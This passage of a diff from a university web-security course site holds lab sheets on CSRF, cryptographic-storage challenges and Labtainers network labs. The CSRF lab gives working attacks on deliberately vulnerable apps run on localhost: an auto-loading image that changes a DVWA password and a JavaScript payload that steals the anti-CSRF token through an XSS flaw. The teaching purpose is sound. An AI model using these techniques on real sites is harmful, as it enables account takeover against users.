Throughout the lab, you will engage in hands-on tasks that mirror real-world scenarios. For instance, you'll create an external form using vi text editor, host it with WebWolf, and understand the parameters necessary for a POST request. In DVWA challenges, you'll manipulate HTML forms to exploit vulnerabilities at low, medium, and high security levels. The tasks also extend to combining CSRF with XSS to overcome anti-CSRF measures. By the end of the lab, you'll have a comprehensive understanding of CSRF attacks, CORS limitations, and practical skills in executing and defending against such attacks, enhancing your expertise in web application security.
tags: ["web-security", "csrf", "dvwa", "webgoat", "webwolf", "security-shepherd"]
categories: ["web_security"]
lab_sheet_url: "https://docs.google.com/document/d/1ABryiNKLDiIG6i7PQUztzzynjPo3fRSBP4OakxCPraY/edit?usp=sharing"
type: ["lab-environment", "ctf-lab"]
cybok:
- ka: "WAM"
topic: "Fundamental Concepts and Approaches"
keywords: ["cookies", "JAVASCRIPT", "HYPERTEXT MARKUP LANGUAGE (HTML)", "HYPERTEXT TRANSFER PROTOCOL (HTTP) - PROXYING", "DATABASE", "SESSION HIJACKING", "CLIENT-SERVER MODELS"]
- ka: "WAM"
topic: "Client-Side Vulnerabilities and Mitigations"
keywords: ["client-side storage", "CLIENT-SIDE VALIDATION", "clickjacking"]
- ka: "WAM"
topic: "Server-Side Vulnerabilities and Mitigations"
keywords: ["injection vulnerabilities", "server-side misconfiguration and vulnerable components", "CROSS-SITE SCRIPTING (XSS)", "CROSS-SITE REQUEST FORGERY (CSRF)", "CONFUSED DEPUTY ATTACKS", "BACK-END"]
- ka: "SS"
topic: "Categories of Vulnerabilities"
keywords: ["Web vulnerabilities / OWASP Top 10"]
- ka: "SS"
topic: "Prevention of Vulnerabilities"
keywords: ["coding practices", "Protecting against session management attacks, XSS, SQLi, CSRF"]
- ka: "SS"
topic: "Detection of Vulnerabilities"
keywords: ["dynamic detection"]
---
## General notes about the labs {#general-notes-about-the-labs}
Often the lab instructions are intentionally open-ended, and you will have to figure some things out for yourselves. This module is designed to be challenging, as well as fun!
However, we aim to provide a well planned and fluent experience. If you notice any mistakes in the lab instructions or you feel some important information is missing, please let us know and we will try to address any issues.
## Preparation {#preparation}
> Action: For all of the labs in this module, start by logging into Hacktivity.
[**Click here for a guide to using Hacktivity.**](https://docs.google.com/document/d/17d5nUx2OtnvkgBcCQcNZhZ8TJBO94GMKF4CHBy1VPjg/edit?usp=sharing) This includes some important information about how to use the lab environment and how to troubleshoot during lab exercises. If you haven't already, have a read through.
> Action: Make sure you are signed up to the module, claim a set of VMs for the web environment, and start your Kali VM.
Feel free to read ahead while the VM is starting.
==VM: Interact with the Kali VM==.
==action: Login with username "kali", password "kali"==.
## Introduction to the approach to lab activities for this module {#introduction-to-the-approach-to-lab-activities-for-this-module}
This module makes use of these great learning resources (amongst others):
* **Damn Vulnerable Web App (DVWA)**: a vulnerable website (written in PHP)
* **OWASP WebGoat and WebWolf**: an interactive teaching environment for web application security (written in Java)
* **OWASP Security Shepherd**: a CTF style set of challenges, with some additional training built-in (written in Java)
These lab sheets will guide you through your use of the above and also introduce some important fundamental concepts and techniques.
## Understanding cross-site request forgery {#understanding-cross-site-request-forgery}
Cross-site request forgery is a type of attack that exploits the trust a website has in its users. Also known as session riding, this attack involves users unknowingly sending requests to services they happen to be logged into. Since the requests are sent from the victim's machine, they inherit the victim's session cookies, IP address and other identifying information. The request may look identical to a genuine request as it hits the server, and is processed as if it had come from the victim.
The response to a CSRF request is sent to the victim, not the attacker. Therefore, this type of attack tends to be used to execute state-changing transactions such as bank transfers, change the victim's personal details, password, etc, and not for obtaining data dumps.
> Question: How would you explain the difference between XSS and CSRF?
## Log in to WebGoat and work through learning tasks {#log-in-to-webgoat-and-work-through-learning-tasks}
==action: Access it by visiting:==
```
http://localhost:8085/WebGoat
```
==action: Log in (create a new user if you are on a new VM)==.
> Action: This week, work through (and refer to the tips below):
> Action: * Request Forgeries
> Action: * Server-Side Request Forgeries (skip exercise 3)
### General Tips {#general-tips}
==hint: You will need to use WebWolf and Zap to complete most of the CSRF challenges==.
> Note: Sometimes WebGoat will mark tasks you have just completed as red. If you refresh the page and wait, they may turn back to green. This is a bug in the application which can be quite annoying, but it doesn't stop you from completing future tasks. Our advice is to just ignore it for now. Let us know if it becomes a problem.
==action: You may want to set up the filters again in Zap to exclude internal requests from the WebGoat framework==. In the History tab, at the bottom,
==action: Click on the filter icon==.
==action: Enter the following information:==
| URL Inc Regex | URL Exc Regex |
| :---- | :---- |
| `http://localhost:8085/WebGoat/.*` | `.*/WebGoat/service/.*mvc` |
==action: Click "Apply"==.
> Note: Don't forget to delete these filter settings when you switch to a different learning platform, e.g. Security Shepherd.
### CSRF Exercise 3 Tips {#csrf-exercise-3-tips}
In order to trigger the form for an external source, you will need to create it and host it somewhere. ==action: Use the vi text editor to create a goat3.html form==. The content can be something like this:
```html
<!DOCTYPE html>
<form id='myForm' name='myForm' action='https://localhost:8085/WebGoat/csrf/basic-get-flag' method='POST'>
<input type='hidden' name='csrf' value='true'>
<input type='submit' name='submit' value='submit'>
</form>
```
==action: Now use the "Files" section of WebWolf to host it==.
> Question: How did you know which parameters to include in the POST request?
> Question: How could you modify the form above so it is automatically submitted?
### CSRF Exercise 4 Tips {#csrf-exercise-4-tips}
The first text field corresponds to the review text and the second to the number of stars you are giving.
==action: You will need to use a proxy to capture the request first==. Once you know what it looks like, ==action: use a text editor to write a form similar to the one you wrote for the previous exercise==. Remember the form fields must match the parameters the server is expecting. Once you are done, ==action: use WebWolf to host your HTML form and click on the link==.
### CSRF Exercise 7 Tips {#csrf-exercise-7-tips}
In order to complete this exercise, you will need to understand CORS and how it imposes limitations on content types that are used in POST requests. ==action: Check the Mozilla developer documentation:==
[https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS)
Since we cannot send a POST request with content type "application/json" from a different origin, one way to complete this exercise is to set the "enctype" attribute of your "form" tag to "text/plain", then send your JSON string disguised as a form field.
For instance, you can manipulate the input fields of your form so your entire JSON string fits in the "name" attribute. ==action: Use Zap and an online JSON validator to verify the output of your form and build your attack step-by-step==. Aim for something like this JSON object:
```json
{
"name":"WebGoat",
"email":"webgoat@webgoat.org",
"message":"WebGoat is the best!!",
"=":"nothing"
}
```
> Note: Note how the "=" sign is cleverly integrated into the JSON output.
### CSRF Exercise 8 Tips {#csrf-exercise-8-tips}
> Note: After logging in as the new user, you may need to press the back button on the browser to find the lesson page in the original tab.
### SSRF Exercise 2 Tips {#ssrf-exercise-2-tips}
This exercise is fairly simple, all you need is a proxy and a breakpoint.
### SSRF Exercise 3 {#ssrf-exercise-3}
> Note: Due to Hacktivity not having access to the internet, this challenge will not work.
## DVWA challenges {#dvwa-challenges}
For these challenges, you will need your Zap proxy open and a browser window that is hooked up to work with it.
==action: In Firefox, navigate to http://localhost/ and log in using the default credentials: admin/password==.
### Low Security Level {#low-security-level}
DVWA has four different security levels: low, medium, high and impossible. ==action: Select "DVWA Security" from the left-hand side menu and read the information about what the different security levels mean==. ==action: Ensure "low" is selected==.
==action: Select "CSRF" from the left-hand side menu==.
First, we are going to use the form as intended to understand how it works. ==action: Make sure you use a proxy so you can see the requests that are sent==.
==action: Enter a new password in both fields and click on "Change"==.
==action: Open the "History" tab in Zap and find your request==.
![][image-3]
> Question: What HTTP method is used by the application to send your password to the server?
> Question: Can you see any problems with passwords being sent this way?
Now that we understand how to send a request to the server to change passwords, we are going to write a simple HTML form that, when opened, forces the logged-in user to send a password change request to the server. Provided the victim is logged in, their PHPSESSID cookie will be included automatically, so the server will have no way of knowing that they never intended to send that request.
==action: Open a terminal and type the command below to create a file called helloWorld.html==:
```bash
vi helloWorld.html
```
==action: Press the "i" key to enter "insert mode"==.
==action: Enter and save this content (Ctrl + Shift + V to paste):==
```html
<!DOCTYPE html>
<html>
<head></head>
<body>
<p>Hello world!</p>
<img src="http://localhost/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change"/>
</body>
</html>
```
==action: Press the "ESC" key to exit "insert mode"==.
Now to ==action: quit and save the file press the ":" key, followed by "wq" (write quit), and press Enter==.
==action: Self-host this PHP, using the PHP built-in webserver:==
```bash
php -S 127.0.0.1:8075
```
==action: From a new tab in Firefox, visit:==
```
http://localhost:8075/helloWorld.html
```
==action: Wait a few seconds for the image load to time out and check your Zap history==.
==action: Log out of DVWA==.
==action: Log back in==.
> Question: What was your password changed to?
> Question: How could you use this form to change other users' passwords without them knowing?
### Medium Security Level {#medium-security-level}
==action: Select "DVWA Security" from the left-hand side menu and change the security level to "medium"==.
Let's start the same way we did for the "low" security level, i.e. trying to understand how the form works. ==action: Enter a new password in both fields and click on "Change"==.
==action: Open the "History" tab in Zap and find your request==.
It looks exactly the same, right? Let's copy our same attack from before and see if it works. ==action: In your terminal, run:==
```bash
cp helloWorld.html newHelloWorld.html
```
==action: From a new tab in Firefox, visit:==
```
http://localhost:8075/newHelloWorld.html
```
> Question: Was the password changed?
==action: Click on the "View Source" button in DVWA to understand what the server-side code is doing==.
![][image-4]
> Note: Note how the developer used the "stripos" function in PHP to check whether the request came from the same server.
==action: Read the PHP documentation for the "stripos" function:==
[https://www.php.net/manual/en/function.stripos.php](https://www.php.net/manual/en/function.stripos.php)
It looks like the application is reading the HTTP referrer string sent in the request to check if it contains the server name. Now we have a problem, since our image request does not set the referrer header:
![][image-5]
==action: Read the Mozilla developer documentation entry for Referrer-Policy:==
[https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy)
==action: Edit your HTML form to set the referrer policy as per the documentation above==.
A successful request will look like this (note the "Referrer" header):
![][image-6]
### High Security Level {#high-security-level}
==action: Select "DVWA Security" from the left-hand side menu and change the security level to "high"==.
Let's start the same way we did for the previous security levels. ==action: Enter a new password in both fields and click on "Change"==.
==action: Open the "History" tab in Zap and find your request==.
> Note: Note how the GET request to the password change service now includes a token:
![][image-7]
> Question: How does the client know which token to send?
==action: In Zap, find the previous request that returned the CSRF challenge page==. ![][image-8]
==action: Search the response for a token value==.
![][image-9]
The token changes each time and its value does not appear to be predictable. This is a tough challenge to solve since CORS limitations prevent any HTML hosted in your local PHP server from accessing resources in the DVWA server. One way to solve this challenge is to exploit a XSS vulnerability from one of the exercises we completed in Week 3, so the requests to get a token and change password come from a DVWA page (same origin). You would need to write some Javascript to:
1. visit the challenge's main page on behalf of the logged-in user;
2. search the response for the token value;
3. send a GET request to the password change service with the token included.
You can either write your own Javascript code or use this example:
```
var theUrl = 'https://localhost/vulnerabilities/csrf/';
var pass = 'hacked';
if (window.XMLHttpRequest){
xmlhttp=new XMLHttpRequest();
}else{
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.withCredentials = true;
var hacked = false;
xmlhttp.onreadystatechange= async function () {
if (xmlhttp.readyState > 3 && xmlhttp.status < 300) {
await new Promise(r => setTimeout(r, 2000));
var text = xmlhttp.responseText;
var regex = /user_token\' value\=\'(.*?)\' \/\>/;
var match = text.match(regex);
var token = match[1];
var new_url = 'https://localhost/vulnerabilities/csrf/?user_token=' + token + '&password_new=' + pass + '&password_conf=' + pass + '&Change=Change'
if (!hacked) {
alert('Got token:' + match[1]);
hacked = true;
xmlhttp.open("GET", new_url, false);
xmlhttp.send();
alert('Password changed to "' + pass + '"');
}
count++;
}
};
document.addEventListener('DOMContentLoaded', function() {
xmlhttp.open("GET", theUrl, false );
xmlhttp.send();
}, false);
```
==action: Don't forget to use your PHP server to host the file, then invoke it by exploiting one of the XSS vulnerabilities==.
![][image-10]
==action: Finally, log in using the hacked password==.
## Log into Security Shepherd and work through assessed tasks {#log-into-security-shepherd-and-work-through-assessed-tasks}
> Flag: For this week, **complete the 8 challenges for:**
* **Cross-Site Request Forgery**
### Tips for all challenges {#tips-for-all-challenges}
> Tip: In order to complete this week's challenges, you will need to create another user
### Challenge 1 Tips {#challenge-1-tips}
> Hint: You don't need to include the `<img>` tag, only write the full URL that the challenge is asking for.
### Challenge 2 Tips {#challenge-2-tips}
> Hint: Your user id is the same as in challenge 1.
> Hint: You will need to create a simple HTML page with a hidden form that sends a POST request when loaded. Host it using your local PHP server.
### Challenge 3 Tips {#challenge-3-tips}
> Hint: Challenge 4 is much simpler, so do it first, then come back to this one.
### Challenge 6 Tips {#challenge-6-tips}
> Hint: There are only 4 possible tokens.
### Challenge 7 Tips {#challenge-7-tips}
> Hint: For this challenge, you will need the **token of the user who is going to trigger the request** and **your** user id. However, every time the target user reloads the page, they get a new token.
> Hint: Work both accounts together and use breakpoints!
## Conclusion {#conclusion}
At this point you have:
* Learned about CSRF attacks and understood what makes a web application vulnerable to them
* Learned about CORS and the limitations it imposes on CSRF attacks
* Used WebGoat and WebWolf to gain a practical understanding of the interactions between a client and a server in a CSRF attack, and completed challenges independently
* Implemented CSRF attacks using the built-in PHP webserver and DVWA to gain in-depth understanding of how an attacker can trick a victim into sending malicious requests to a server they happen to be logged into
* Combined CSRF with XSS to circumvent the use of anti-csrf tokens by the web application
* Completed challenges independently using Security Shepherd to verify your knowledge of cross-site scripting in a practical context
Congratulations! Cross-site request forgery attacks are a little more complex to set up compared to others we have studied earlier in the module, and rely on a good understanding of web applications, session management, and the interaction between client and server. Well done for putting it all together and completing this week's challenges.
[^1]: Adapted from original payload published in: [https://hd7exploit.wordpress.com/2017/05/27/dvwa-csrf-high-level/](https://hd7exploit.wordpress.com/2017/05/27/dvwa-csrf-high-level/)
[image-1]: {{ site.baseurl }}/assets/images/web_security/6_csrf/image-1.png
[image-2]: {{ site.baseurl }}/assets/images/web_security/6_csrf/image-2.png
[image-3]: {{ site.baseurl }}/assets/images/web_security/6_csrf/image-3.png
[image-4]: {{ site.baseurl }}/assets/images/web_security/6_csrf/image-4.png
[image-5]: {{ site.baseurl }}/assets/images/web_security/6_csrf/image-5.png
[image-6]: {{ site.baseurl }}/assets/images/web_security/6_csrf/image-6.png
[image-7]: {{ site.baseurl }}/assets/images/web_security/6_csrf/image-7.png
[image-8]: {{ site.baseurl }}/assets/images/web_security/6_csrf/image-8.png
[image-9]: {{ site.baseurl }}/assets/images/web_security/6_csrf/image-9.png
[image-10]: {{ site.baseurl }}/assets/images/web_security/6_csrf/image-10.png

View File

@@ -0,0 +1,78 @@
---
title: "Web Security: Additional Challenges"
author: ["Thalita Vergilio", "Z. Cliffe Schreuders", "Andrew Scholey"]
license: "CC BY-SA 4.0"
description: "Complete additional web security challenges using Security Shepherd platform, focusing on cryptographic storage vulnerabilities and unvalidated redirects."
overview: |
In this web security lab, you will work through additional challenges using the Security Shepherd platform. These challenges focus on cryptographic storage vulnerabilities and unvalidated redirects, providing hands-on experience with real-world web security issues. You'll learn to identify and exploit insecure cryptographic implementations and understand the risks associated with unvalidated redirects and forwards in web applications.
tags: ["web-security", "cryptographic-storage", "redirects", "security-shepherd", "ctf"]
categories: ["web_security"]
lab_sheet_url: "https://docs.google.com/document/d/1DDjyBGtB9vaFD6S2s1jQn7_bpVn4UlK-njbmVX5_UiM/edit?usp=sharing"
type: ["lab-environment", "ctf-lab"]
cybok:
- ka: "WAM"
topic: "Fundamental Concepts and Approaches"
keywords: ["web PKI and HTTPS", "authentication", "ACCESS CONTROL", "cookies", "passwords and alternatives", "JAVASCRIPT", "HYPERTEXT MARKUP LANGUAGE (HTML)", "CASCADING STYLE SHEETS (CSS)", "HYPERTEXT TRANSFER PROTOCOL (HTTP)", "HYPERTEXT TRANSFER PROTOCOL (HTTP) - PROXYING", "DATABASE", "Broken Access Control / Insecure Direct Object References", "SESSION HIJACKING", "CERTIFICATES", "REPRESENTATIONAL STATE TRANSFER (REST)", "PERMISSION DIALOG BASED ACCESS CONTROL", "CLIENT-SERVER MODELS"]
- ka: "WAM"
topic: "Client-Side Vulnerabilities and Mitigations"
keywords: ["client-side storage", "CLIENT-SIDE VALIDATION", "clickjacking"]
- ka: "WAM"
topic: "Server-Side Vulnerabilities and Mitigations"
keywords: ["injection vulnerabilities", "server-side misconfiguration and vulnerable components", "CROSS-SITE SCRIPTING (XSS)", "SAME ORIGIN POLICY (SOP)", "COMMAND INJECTION", "SQL-INJECTION", "CROSS-SITE REQUEST FORGERY (CSRF)", "CONFUSED DEPUTY ATTACKS", "BACK-END", "BLIND ATTACKS"]
- ka: "SS"
topic: "Categories of Vulnerabilities"
keywords: ["Web vulnerabilities / OWASP Top 10", "API vulnerabilities"]
- ka: "SS"
topic: "Prevention of Vulnerabilities"
keywords: ["coding practices", "Protecting against session management attacks, XSS, SQLi, CSRF", "API design"]
- ka: "SS"
topic: "Detection of Vulnerabilities"
keywords: ["dynamic detection"]
---
## General notes about the labs {#general-notes-about-the-labs}
Often the lab instructions are intentionally open-ended, and you will have to figure some things out for yourselves. This module is designed to be challenging, as well as fun!
However, we aim to provide a well planned and fluent experience. If you notice any mistakes in the lab instructions or you feel some important information is missing, please let us know and we will try to address any issues.
## Preparation {#preparation}
> Action: Start by logging into Hacktivity.
[**Click here for a guide to using Hacktivity.**](https://docs.google.com/document/d/17d5nUx2OtnvkgBcCQcNZhZ8TJBO94GMKF4CHBy1VPjg/edit?usp=sharing) This includes some important information about how to use the lab environment and how to troubleshoot during lab exercises. If you haven't already, have a read through.
## Log into Security Shepherd and work through assessed tasks {#log-into-security-shepherd-and-work-through-assessed-tasks}
For this week's Security Shepherd Challenges you need to use the 'Additional Web Challenges' VMs on Hacktivity.
> Note: Remember the login details for the Kali VM is Kali/Kali.
You have the **lesson and challenges to complete for:**
* **3 x Insecure Cryptographic Storage**
* **1 x Unvalidated Redirects and Forwards (Lesson)**
> Hint: The tips below are optional. Try to complete the challenges without them if you can.
### Insecure Cryptographic Storage Challenge 2 Tips {#insecure-cryptographic-storage-challenge-2-tips}
> Hint: You may want to use an online decoder for the Vigenere Cipher. Can you find the String and the key to use?
### Insecure Cryptographic Storage Challenge 3 Tips {#insecure-cryptographic-storage-challenge-3-tips}
> Hint: The encryption/decryption happens server-side, so you need to experiment with re-sending the request to decrypt. One of the letters of the alphabet, when used repeatedly, will translate into the key you need.
## Conclusion {#conclusion}
At this point you have:
* Learned about cryptographic storage vulnerabilities and how to identify insecure implementations
* Gained experience with various cryptographic attacks including cipher analysis and key recovery
* Understood the risks associated with unvalidated redirects and forwards in web applications
* Completed additional web security challenges using the Security Shepherd platform
Congratulations! These additional challenges have provided you with hands-on experience in identifying and exploiting cryptographic vulnerabilities, as well as understanding the security implications of unvalidated redirects in web applications.

View File

@@ -0,0 +1,174 @@
---
title: "Network Security: Labtainers Network Labs"
author: ["Thalita Vergilio", "Z. Cliffe Schreuders", "Andrew Scholey"]
license: "CC BY-SA 4.0"
description: "Learn network security fundamentals through hands-on Labtainers exercises including packet analysis with Wireshark and Tshark, firewall configuration with iptables, and VPN implementation using OpenVPN."
overview: |
In this comprehensive network security lab, you will explore the network layer of the OSI model through practical exercises using Labtainers, a Docker-based learning platform developed by the Naval Postgraduate School. You'll gain hands-on experience with packet analysis using Wireshark and Tshark, configure firewall rules with iptables, and implement VPN solutions using OpenVPN. The lab covers both host-to-host and gateway VPN configurations, providing a complete understanding of network security fundamentals.
tags: ["network-security", "packet-analysis", "wireshark", "iptables", "vpn", "openvpn", "labtainers"]
categories: ["web_security"]
lab_sheet_url: "https://docs.google.com/document/d/1DDjyBGtB9vaFD6S2s1jQn7_bpVn4UlK-njbmVX5_UiM/edit?usp=sharing"
type: ["lab-environment", "ctf-lab"]
cybok:
- ka: "SOIM"
topic: "Monitor: Data Sources"
keywords: ["network traffic"]
- ka: "F"
topic: "Main Memory Forensics"
keywords: ["network connections", "data recovery and file content carving"]
- ka: "NS"
topic: "Network Defence Tools"
keywords: ["FIREWALLS", "IPTables", "VIRTUAL - PRIVATE NETWORK (VPN)"]
- ka: "NS"
topic: "Internet Architecture"
keywords: ["network layer security"]
- ka: "WAM"
topic: "FIREWALLS"
keywords: ["FIREWALLS"]
---
## General notes about the labs {#general-notes-about-the-labs}
Often the lab instructions are intentionally open-ended, and you will have to figure some things out for yourselves. This module is designed to be challenging, as well as fun!
However, we aim to provide a well planned and fluent experience. If you notice any mistakes in the lab instructions or you feel some important information is missing, please let us know and we will try to address any issues.
## Preparation {#preparation}
For the networking part of this module, we are going to use a set of security labs called Labtainers. Labtainers were developed by the Naval Postgraduate School, and use Docker containers to emulate different components in a network.
> Action: Start by logging into Hacktivity.
[**Click here for a guide to using Hacktivity.**](https://docs.google.com/document/d/17d5nUx2OtnvkgBcCQcNZhZ8TJBO94GMKF4CHBy1VPjg/edit?usp=sharing) This includes some important information about how to use the lab environment and how to troubleshoot during lab exercises. If you haven't already, have a read through.
There is one VM per lab and each VM hosts a number of containers. ==action: Click on "Labtainers lab: wireshark-intro" to run the first lab==.
![][image-2]
> Tip: Feel free to read ahead while the VM is starting.
## Log in to Labtainers and work through learning tasks {#log-in-to-labtainers-and-work-through-learning-tasks}
==action: Work through the following labs (and refer to the tips below):==
* wireshark-intro
* packet-introspection
* pcapanalysis
* iptables
* iptables2
* vpnlab
* vpnlab2
### General tips {#general-tips}
Labtainers asks you to submit different files to your instructor to show them that you have completed the exercises. **There is no need to send the files to us.** Refer to the tips below to check whether you completed the labs correctly.
When you start a Labtainers VM, you will get a dark terminal and some white ones which could have multiple tabs. The dark terminal is responsible for launching the containers and running the lab. You don't usually have to interact with it. The white terminals are part of the lab exercises. Each represents a connection to a host (container). You are expected to interact with them to complete the exercises.
![][image-3]
### wireshark-intro {#wireshark-intro}
Wireshark is a tool used to analyse packets at network level. You will have had an introduction to it in previous modules, but since we will be using Wireshark a lot in this week's lab, it doesn't hurt to have a refresher.
The instructions for this lab are in a text file that opens automatically in a terminal. ==action: Use the arrow keys to scroll down==.
==action: You must start wireshark from the wireshark-intro terminal that appears when you start the lab==.
==action: Use a filter to narrow down the results==.
![][image-4]
==action: Right click on the packet and select Follow/TCP Stream==.
> Note: You can save your results as a ".pcap" or ".pcapng" file.
Well done, you have completed the first lab. ==action: Close the VM and move onto the next challenge==.
### packet-introspection {#packet-introspection}
In this lab, you will learn more advanced Wireshark functions for packet analysis at network level.
> Warning: Don't forget to start Wireshark from the container running the lab, not the host VM. Follow the example below:
![][image-5]
After you've saved your image at the end of the lab, ==action: you can open it from the terminal using the following command:==
![][image-6]
If you are successful, you will be able to see the image:
![][image-7]
Well done! ==action: You can now close your VM and move onto the next challenge==.
### pcapanalysis {#pcapanalysis}
In this lab, you will learn how to use tshark, a terminal-based packet analyser. ==hint: Use the hint below to locate the single frame that the exercise is asking for==.
![][image-8]
### iptables {#iptables}
Iptables are a command line firewall for Linux systems. They target packets at network level and allow you to configure specific rules to control traffic coming in and going out of the server.
Your goal in this lab is to use iptables to prevent the firewall from forwarding all traffic to the server, with the exception of HTTP on port 80 and SSH on port 22. ==action: Using the Vi text editor, create a file called iptables-config.sh==. ==action: Read through the contents from [this script](https://docs.google.com/document/d/13OciQRA7W2hfoZ5hWNxIWsc2fWXQixf_nMP9r7Br8Y4/edit?usp=sharing) to understand what it does, then copy and paste it into the iptables-config.sh file==.
==action: Make your script executable and run it using sudo:==
![][image-9]
==action: Verify that only ports 22 and 80 are open by running nmap from the client terminal:==
![][image-10]
Well done for completing the challenge!
### iptables2 {#iptables2}
==action: Use the command below to run "wizbang" on the client terminal:==
```bash
./wizbang start
```
==action: You will need to edit the "example_fw.sh" script to create a rule that allows traffic on port 10090==. ==hint: Look at the rule for port 22 and follow the example==. ==action: After you are done editing the file, don't forget to run the script again==.
The result of your nmap scan should look like this once you've completed the lab (note the ports open): ![][image-11]
==action: You can now move onto the next challenge==.
### vpnlab {#vpnlab}
A Virtual Private Network (VPN) creates a secure encrypted channel through which two machines exchange information over the internet. In this lab, you are going to learn how to create a simple host-to-host VPN using openvpn and a static shared key.
The instructions for this lab are in a text file that opens automatically in a terminal. ==action: Use the arrow keys to scroll down==.
### vpnlab2 {#vpnlab2}
This is a very similar lab to the previous, the only difference is that you will be using a VPN gateway. ==action: Use the arrow keys to scroll down the text file that appears containing instructions for this lab==.
## Conclusion {#conclusion}
At this point you have:
* Learned how to analyse packets at network level and gained practical experience using two different packet analysers: Wireshark and Tshark
* Used Labtainers to gain a practical understanding of iptables and configured basic firewall rules independently
* Learned about VPNs and implemented a simple host-to-host VPN using openvpn and a static shared key
* Configured a VPN gateway using openvpn.
Congratulations! In this lab, we shifted our attention from the application layer to the network layer of the OSI model. Instead of using a web proxy to analyse requests and responses, we focused on packet analysis at network level and looked at ways to control access to the network (firewalls) as well as ways to secure communication between the network and trusted hosts using the wider internet (VPNs). We also switched learning environments and completed this week's challenges on Labtainers.
[image-2]: {{ site.baseurl }}/assets/images/web_security/8_labtainers_net/image-2.png
[image-3]: {{ site.baseurl }}/assets/images/web_security/8_labtainers_net/image-3.png
[image-4]: {{ site.baseurl }}/assets/images/web_security/8_labtainers_net/image-4.png
[image-5]: {{ site.baseurl }}/assets/images/web_security/8_labtainers_net/image-5.png
[image-6]: {{ site.baseurl }}/assets/images/web_security/8_labtainers_net/image-6.png
[image-7]: {{ site.baseurl }}/assets/images/web_security/8_labtainers_net/image-7.png
[image-8]: {{ site.baseurl }}/assets/images/web_security/8_labtainers_net/image-8.png
[image-9]: {{ site.baseurl }}/assets/images/web_security/8_labtainers_net/image-9.png
[image-10]: {{ site.baseurl }}/assets/images/web_security/8_labtainers_net/image-10.png
[image-11]: {{ site.baseurl }}/assets/images/web_security/8_labtainers_net/image-11.png

View File

@@ -1407,7 +1407,6 @@ mark, .highlight-text{
float: left;
font-family: "Source Code Pro", Monaco, monospace !important;
}
// Add icon above c code blocks
.language-nasm::before {
content: "asm ";
font-size: 1em;
@@ -1415,7 +1414,13 @@ mark, .highlight-text{
float: left;
font-family: "Source Code Pro", Monaco, monospace !important;
}
.language-php::before {
content: "php ";
font-size: 1em;
margin-right: 0.5rem;
float: left;
font-family: "Source Code Pro", Monaco, monospace !important;
}
.nav-link {
font-family: "Cute Font", "Source Code Pro", Monaco, monospace;
font-size: 16px;

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.6 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 556 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 556 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 379 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 347 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 552 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 376 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 349 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 567 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 30 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 40 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 37 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 14 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 117 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.2 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 31 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 191 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 188 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 39 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 370 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 103 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 107 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 108 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 9.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 476 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 354 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 17 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 179 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 188 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 84 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 29 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 170 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 28 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 181 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 194 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 190 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 108 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 110 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 46 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 46 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 113 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 40 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 178 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 180 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 186 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 140 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 49 KiB

Binary file not shown.

After

